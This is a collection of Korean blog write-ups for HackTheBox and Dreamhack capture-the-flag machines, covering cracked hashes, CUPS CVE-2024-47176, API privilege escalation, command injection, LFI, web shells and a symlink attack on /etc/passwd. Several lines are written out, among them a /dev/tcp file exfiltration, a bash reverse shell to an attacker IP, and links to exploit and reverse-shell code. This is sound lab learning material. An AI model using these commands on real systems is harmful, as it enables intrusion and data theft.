포트 스캔

 

 

 

/etc/hosts에 IP와 도메인 매핑

 

 

 

웹 페이지에 접속하면 pluck를 사용하는 것을 확인 가능

 

 

 

'pluck'를 클릭하면 깃허브 페이지로 리다이렉트 되는데, 여기서 login.php, admin.php 등의 페이지가 존재하는 것을 확인

 

 

 

 

admin.php에 접속하면 login.php 페이지로 리다이렉트 됨

pluck 버전 확인 가능

 

 

3000번 포트로 접속해보니 git service 페이지가 나옴

 

 

 

'exlpore' 를 클릭하면 GreenHorn의 깃처럼 보이는 경로가 있다

 

 

 

greenhorn.htb의 소스코드

 

 

 

 

login.php 소스코드를 보면 data/settings/pass.phpadmin 해시를 저장하고 있는 것 같다

 

 

해시 확인

 

 

 

복호화 사이트 ☞    https://10015.io/tools/sha512-encrypt-decrypt

스윗하구만...

 

 

 

로그인 성공

 

 

 

로그인에 성공하면 admin.php 페이지로 리다이렉트 됨

 

 

 

 

 

Install module

 

 

 

리버스쉘 파일 압축 (그냥 php 파일은 업로드 막힘)

 

 

 

리버스쉘 업로드

 

 

 

쉘 획득 성공

 

 

 

junior 계정 확인

 

 

 

패스워드는 login.php 패스워드와 동일

플래그 확인

 

 

 

 

junior 홈 디렉터리에 있는 Using OpenVAS.pdf 파일을 읽어보려고 한다

 

cat Using\ OpenVAS.pdf

  • cat은 Using OpenVAS.pdf 파일의 내용을 출력
  • 파일 이름에 공백이 포함되어 있으므로, 백슬래시(\)로 공백을 이스케이프 처리

> /dev/tcp/10.10.14.49/8888

  • /dev/tcp/는 리눅스의 가상 파일 시스템을 이용해 TCP 소켓 연결을 설정
  • 10.10.14.49는 대상 서버의 IP 주소
  • 8888은 대상 서버에서 연결을 수신할 포트 번호
  • >는 cat 명령의 출력을 해당 소켓으로 리다이렉트하여 전송

 

 

 

pdf를 보면

모자이크root 패스워드 확인

 

 

모자이크를 무효화할 수 있는 도구가 있다!

https://github.com/spipm/Depix

 

 

 

신기방기

 

 

 

 

 

root 권한 ㄱ

 

 

 

플래그 획득

python3 -c "import pty;pty.spawn('/bin/bash')"  #쉘 예쁘게 보는 법

 

 

 

 

 

 

TCP 포트 스캔

 

 

631 포트에 대해 UDP 포트 스캔

 

 

 

631 포트가 무엇인고 하니,

유닉스 시스템에서 프린트를 위한 프로토콜(Internet Printing Protocol)이라고 한다

CUPS라는 프레임워크의 프로토콜이라고 하는데 원격 코드 실행 취약점이 존재하는것 같다

 

 

 

CUPS는 기본적으로 631번 포트를 통해 웹 인터페이스 제공

CUPS 버전 확인

 

 

 

해당 컴포넌트는 CVE-2024-47176 취약점이 존재

 

 

취약점 설명

CVE-2024-47176는 cups-browsed 컴포넌트에서 발견된 취약점으로, 이로 인해 공격자가 원격으로 시스템에 프린터를 추가하고, Get-Printer-Attributes 요청을 공격자가 제어하는 URL로 보내도록 유도할 수 있다. 이 취약점은 네트워크 인터페이스 바인딩 설정이 잘못되어 발생하며, 기본적으로 cups-browsed가 모든 네트워크 인터페이스(0.0.0.0:631)에 바인딩되어 네트워크 외부로 노출되게 만든다​

 

주요 특징

  • 공격 벡터: 네트워크를 통한 원격 공격.
  • 공격 복잡성: 낮음 (특별한 조건 없이 공격 가능).
  • 권한 요구: 없음 (익명 공격 가능).
  • 사용자 상호작용: 필요하지 않음.

 

공격 시나리오

공격자는 UDP 631 포트를 통해 패킷을 전송하여 공격자가 설정한 IPP(Internet Printing Protocol) 서버를 새 프린터로 등록하도록 유도

등록된 프린터는 악성 속성을 포함할 수 있으며, 시스템이 이를 처리하려고 할 때 임의 명령 실행이 가능하게 됨

 

 

 

https://github.com/IppSec/evil-cups

 

툴 설치

 

 

 

리버스쉘 얻기

 

공격자IP 대상IP 명령

 

  • bash -c: Bash 명령을 실행하기 위한 옵션
  • bash -i: 대화형(interactive) Bash 세션을 시작
  • >& /dev/tcp/10.10.14.6/7777: 공격자의 IP와 포트로 표준 출력(stdout)과 표준 에러(stderr)를 리다이렉트
  • 0>&1: 표준 입력(stdin)을 표준 출력(stdout)으로 리다이렉트

 

 

 

웹에서 공격자의 printer가 추가되는 것을 확인 가능

 

 

'Print test page' 클릭 → 쉘이 리스너에 전달됨

(사전에 리스닝하고 있어야함)

 

 

 

리버스쉘 연결 성공

 

 

플래그 확인

 

 

 

 

 

TCP 포트 스캔 

 

 

/etc/hosts 파일에 IP + 도메인명 추가

 

 

웹 페이지 접속

 

 

 

 

회원가입하려면 초대 코드가 있어야 함

/invite 페이지 요청 시에 로드되는 js 파일에서 난독화된 함수 발견

inviteapi.min.js

 

 

 

 

난독화된 코드를 복원함(일부)

function makeInviteCode() {
    $.ajax({
        type: "POST",
        dataType: "json",
        url: '/api/v1/invite/how/to/generate',
        success: function(response) {
            console.log(response);
        },
        error: function(response) {
            console.log(response);
        }
    });
}

 

 

'/api/v1/invite/how/to/generate' 경로에 POST로 요청을 보내면 아래와 같은 응답이 돌아옴

복호화하면         →  In order to generate the invite code, make a POST request to /api/v1/invite/generate

 

 

 

하라는대로 요청을 보내면 초대 코드를 얻을 수 있다

 

 

 

디코딩해야함

 

 

 

해당 초대 코드 입력하면 /register 페이지 접근 됨

 

 

 

로그인 ㄱ

 

"Connection Pack"은 Labs > Access 에 있음

클릭하면 '/api/v1/user/vpn/generate'에 요청 보냄

 

 

 

 

'/api/v1' 경로에 요청을 보내면 하위 앤드포인트 경로 목록이 응답으로 옴

 

 

 

 

/api/v1/admin/ 의 경로에 있는 엔드포인트에 하나씩 들어가봤다

 

 

 

/api/v1/admin/settings/update 엔드포인트에서 권한을 변경할 수 있을 것 같다

 

 

 

POST도 안되는 걸 보니, PUT 메서드로 추측

content-type 헤더 추가 필요

 

 

email 파라미터가 필요한 듯

 

 

is_admin 파라미터도...

 

 

성공한 듯?

 

 

auth 엔드포인트에서 확인한 결과, 권한 상승에 성공한 것 같다

 

 

 

 

이제 아직 사용하지 않은 /api/v1/admin/vpn/generate 엔드포인트를 사용해보자

 

 

얘도 아까와 같은 방법으로 필요한 파라미터를 찾는다

 

 

 

이 엔드포인트에 command injection 취약점이 존재한다고 함

 

 

 

;로 명령어를 추가하고  "#으로 주석처리

 

 

 

php 애플리케이션에서 환경 변수 값을 저장하는 파일은 보통 .env 

.env 에서 admin 계정의 패스워드 확인 가능

 

 

 

 

ssh로 접속 ㄱ

 

 

 

flag 확인

 

 

 

 

 

권한 상승

 

메일이 왔다는디요

 

 

 

/var/mail/admin 파일에서 송신자 확인 가능

메일 내용을 보면, 현재 사용하고 있는 버전의 리눅스 커널에 심각한 CVE 취약점이 나온 것 같다

 

 

☞  CVE-2023-0386

https://github.com/sxlmnwb/CVE-2023-0386

 

 

파일 다운로드 받아서 공격 대상으로 보냄

 

 

 

깃에 적혀있는대로 공격 수행

권한 상승 성공

서로 다른 터미널에서 진행

 

 

root flag 화긴

 

 

 

 

 

 

TCP 포트 스캔 결과

 

 

 

80번 포트로 웹 페이지 접속

 

 

 

"Security Snapshot" 메뉴를 클릭하면 '/data/[id]' 경로로 리다이렉트 됨 

Burp suite에서 확인

 

 

 

다른 계정의 스캔 결과도 [id]만 바꿔서 조회 가능

/data/2 -> /data/0

 

 

 

데이터가 존재하는 계정은 0 밖에 없다

0 계정의 pcap 파일을 다운로드

 

아까 포트 스캔 했을때, ftp 포트가 열려있는게 눈에 띄었다

 

다운받은 pcap 파일에 FTP 필터를 적용해서 보면

nathan 계정패스워드를 확인 가능

0.pcap

 

 

 

ssh에서 해당 계정으로 로그인 시도 ㄱ

 

성공

 

 

flag 확인

 

 

 

 

 

권한 상승

 

이것저것 뒤져보다가 파일이 너무 많아서 getcap 명령으로 탐색해봤다

군침이 싹 도는 cap_setuid 발견

 

 

 

구글링해서 이런걸 찾았다

https://gtfobins.github.io/gtfobins/python/

대충 파이썬CAP_SETUID 기능이 설정되어 있으면, uid를 조작하여 권한을 상승하는 방법이 존재한다는 내용

 

 

파이썬

 

 

root 플래그 확인 성공

 

 

 

 

 

 

nmap 으로 포트 스캔 ㄱ

 

http 80 port 발견해서 브라우저에 http://10.10.22.23 입력하면 도메인명 나옴

→  permx.htb

 

/etc/hosts 파일에 IP+도메인 추가해야 해당 웹 페이지에 접속 가능

대충 온라인 교육 플렛폼인듯

 

 

문제에서 서브도메인을 찾아야 된다고함

 

fuff 도구로 bruteforce ㄱ

wordlist는 아래 링크에서 다운받을 수 있음

→  https://github.com/danielmiessler/SecLists/tree/master

 

-mc 200 옵션을 줘야지만 아래처럼 보임(다른 옵션도 있음)

 

www.permx.htb 랑 lms.permx.htb 찾음 

 

/etc/hosts에 추가

 

 

 

lms.permx.htb 에 접속하면 chamilo application을 사용하는 것을 확인 가능

 

 

버전 정보는 어떻게 찾는지 모르겠는데

대충 구글에 Chamilo를 검색해보면 1.11버전인것 같음

 

ㅇㅋ

 

 

 

 

구글링으로 stored XSS + 원격 코드 실행 CVE를 발견

 

 

해당 취약점에 대한 설명

→   https://starlabs.sg/advisories/23/23-4220/

 

 

공격 대상에 /main/inc/lib/javascript/bigupload/files/ 디렉토리가 존재하는 것을 확인

 

해당 경로에 리버스쉘을 업로드

리버스쉘 파일 →   https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

 

 

netcat으로 리스닝

 

 

개고생 끝에 데이터베이스 연결 정보를 포함한 파일 발견

 

 

/etc/passwd 파일을 확인해보면 root랑 mtz 계정 로그인 가능

 

 

 

mtz 계정으로 ㄱ

근데 왜 db 패스워드랑 계정 패스워드랑 같은지 모르겠음

진짜 문제 가이드 없었으면 상상도 못 할 ㄷ

 

 

sudo -l로 sudo 권한 확인 

 

mtz는 /opt/acl.sh 스크립트를 패스워드 없이 모든 사용자와 그룹 권한으로 실행 가능

 

 

그런데 /home/mtz 경로에 있는 파일 대상으로만 실행 가능

그래서 심볼릭링크를 사용해서 /etc/passwd 파일을 수정할 거임

 

    ↑

계정 패스워드는 mkpasswd로 해시 가능

 

 

/etc/passwd에 잘 추가됐는지 확인하고

로그인 ㄱ

 

 

flag도 확인 굿

 

 

 

 

 

문제

간만에 재밌는 문제였다.

 

 

 

 

풀이

문제 이름 대로 tomcat manager 페이지에 접속 시도를 했지만 아이디와 비번이 필요했다.

 

 

 

문제 파일의 Docker 파일에서 manager 페이지의 계정 정보가 있는 파일의 절대 경로를 확인할 수 있었다.

 

 

메인페이지의 이미지를 로드하는 방식에서 LFI 취약점을 발견했다.

 

 

 

LFI 취약점으로 tomcat-users.xml 파일의 내용을 확인했다.

tomcat manager 페이지의 패스워드를 알아냈다.

 

 

 

이제 알아낸 계정으로 tomcat manager 페이지에 접속한다.

 

 

파일 업로드 기능을 이용해 웹쉘을 업로드한다.

 

 

웹쉘이 정상적으로 업로드된 걸 확인할 수 있다.

 

 

웹쉘로 flag 파일을 확인해보면 실행파일인 것을 알 수 있다.

 

 

'/flag'를 입력하면 flag 파일이 실행되어 flag가 출력된다.

 

 

 

 

'웹 해킹 > 드림핵' 카테고리의 다른 글

[드림핵] [wargame.kr] tmitter 풀이  (0) 2024.10.29
[드림핵] CSP Bypass Advanced 풀이  (0) 2024.09.02

 

 

 

문제 

admin 아이디로 로그인하면 풀리는 문제인 것 같다.

id(32), ps(32) 에서 수상쩍은 냄새가 난다.

 

 

 

 

 

풀이

로그인 기능과 회원가입 기능이 있다.

 

 

 

회원가입에서 admin 계정을 생성해보려고 했지만, 중복 확인 기능이 구현되어 있어서 막혔다.

 

 

 

 

하지만 아까 문제 설명의 테이블 구조에서 id는 32 글자 이하로 정의되어 있는 것을 확인했다.

그러면 데이터가 테이블에 삽입될 때,  32글자에서 넘어가는 글자는 짤린다.  

'a' * 32 + 'a' → 'a' * 32

 

그래서 (( admin + 공백*27 + 아무 문자 ))로 입력하면, 중복 확인 기능을 우회하고 admin 아이디로 계정을 생성할 수 있다.

 

 

그 전에 개발자도구로 maxlength 옵션을 삭제해 줘야한다.

 

 

그리고 (( admin + 공백*27 + 아무 문자 ))로 회원가입을 해주면 계정이 생성된다.

 

 

생성한 admin 계정으로 로그인을 하면 flag를 확인할 수 있다.

 

 

 

'웹 해킹 > 드림핵' 카테고리의 다른 글

[드림핵] Tomcat Manager 풀이  (0) 2024.10.29
[드림핵] CSP Bypass Advanced 풀이  (0) 2024.09.02

 

 

 

Labs에 로그인

 

 

'CONNECT TO HTB' 클릭 > 'Machines' 클릭

 

 

'OpenVPN' 클릭

 

 

'Download VPN' 클릭

 

 

ovpn 파일이 다운로드 된다.

(The VPN Server is currently unavailable. 에러가 발생하면 다른 지역 VPN을 선택하면 된다.)

 

 

 

터미널에서 openvpn 명령어로 다운로드 받은 파일을 실행시킨다.

(관리자 권한으로 실행해야 함)

 

 

다시 HackTheBox 웹에서 내 IP를 확인한다.

 

 

ping으로 정상적으로 설정되었는지 확인한다.

(이때 ovpn 파일을 실행시킨 터미널 창은 닫으면 안 된다.)

 

 

이제 도전할 머신을 찾는다.

Machines > RETIRED MACHINES 

'FREE'만 무료로 사용 가능하고 다른 머신들은 구독(유료)을 해야 사용할 수 있다.

 

 

 

원하는 머신을 선택하고 'Join Machine'을 클릭한다.

 

 

 

그러면 머신의 IP가 표시된다.

 

 

 

이제 해당 머신을 대상으로 침투 테스트를 시작할 수 있다!

 

 

 

 

 

+ Recent posts